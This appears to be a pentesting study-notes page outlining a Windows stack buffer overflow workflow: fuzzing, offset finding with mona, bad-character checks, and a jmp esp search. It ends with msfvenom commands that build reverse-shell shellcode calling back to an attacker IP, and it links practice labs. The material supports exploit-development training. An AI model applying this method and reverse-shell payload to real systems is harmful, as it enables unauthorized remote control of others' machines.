> For the complete documentation index, see [llms.txt](https://hacker-mind.gitbook.io/hacker-mind/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacker-mind.gitbook.io/hacker-mind/buffer-overflow.md).

# Buffer Overflow

## Steps

1. Run **Immunity Debugger**
2. Open exe file or attach the service
3. Set mona configuration for the working directory

```
!mona config -set workingfolder c:\mona\%p
```

4. Press play button
5. Try to connect with the server

```
nc $IP <port>
```

Immunity Debugger would tell you the port which service are listening.

6. Fuzzing until crash and check byte number of crash.
7. Generate the pattern with some script program and send it like sending fuzzer. ( length of pattern --> \<number of crash + 200>

{% embed url="<https://wiremask.eu/tools/buffer-overflow-pattern-generator/>" %}

<figure><img src="https://1855963211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FaDjlLLsWaat1v8p89kgM%2Fuploads%2F1IrF45HlsmCC4xebCWV5%2Fimage.png?alt=media&amp;token=f1a18ce2-52d8-4da9-b57c-fc1e8074f549" alt=""><figcaption></figcaption></figure>

8. Check **offset** with mona or other tool.

```
!mona findmsp -distance <length of pattern>
```

or using the **website** with just input the EIP address.

9. \[Optional] check EIP with BBBB
10. &#x20;Set bytearray mona <mark style="color:red;">(make sure you have been set working directory)</mark>

```
!mona bytearray -b "\x00"
```

11. Create badchar "\x00" with python script

{% embed url="<https://github.com/joshua17sc/Buffer-Overflows/blob/main/create.py>" %}

12. Send badchar and compare it with mona on the ESP Address

```
!mona compare -f C:\mona\oscp\bytearray.bin -a <esp address>
```

How to note badchar:

* **00** is always **badchar**
* **The second char** is badchar
* <mark style="color:orange;">The third char is affected by the second char, so not a badchar</mark>
* **The fourth char** is badchar
* <mark style="color:orange;">The fifth char is affected by fourth char so not a badchar</mark>
* and so on

<figure><img src="https://1855963211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FaDjlLLsWaat1v8p89kgM%2Fuploads%2F1oegoSdqGcjUqSRSbCw0%2Fimage.png?alt=media&amp;token=b1e8e8dd-06b1-41a9-bd9c-7b77141adfb4" alt=""><figcaption></figcaption></figure>

13. &#x20;Test bad char, if mona Memory comparison result shows "unmodified" then your badchars are correct.
14. &#x20;Search module for **jmp esp,** because you just could control EIP and put payload on ESP, you you need to control EIP and put command "jmp esp", it mean always jumping the running code to ESP (your payload)

```
!mona jmp -r esp -cpb "<bad chars>"

# example
!mona jmp -r esp -cpb "\x00\x11\x40\x5f\xb8\xee"
```

<figure><img src="https://1855963211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FaDjlLLsWaat1v8p89kgM%2Fuploads%2F813KZKhJLty9XT2ekwgk%2Fimage.png?alt=media&amp;token=d51c80dd-e72d-4a41-905f-627dc4b3f90f" alt=""><figcaption></figcaption></figure>

Get the module address of jmp esp, and write it reverse

```
# example
0x62501203

module_address = "\x03\x12\x50\x62"
```

15. &#x20;Generate payload

```
# msfvenom script
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker ip> LPORT=1337 EXITFUNC=thread -b "<badchars>" -a x86 -f c -v shellcode

# example
msfvenom -p windows/shell_reverse_tcp LHOST=10.4.1.97 LPORT=11111 EXITFUNC=thread -b "\x00\x11\x40\x5f\xb8\xee" -a x86 -f c -v shellcode
```

## LAB - Buffer Overflow

* <https://exploit.education/phoenix/>
* <https://github.com/stephenbradshaw/vulnserver>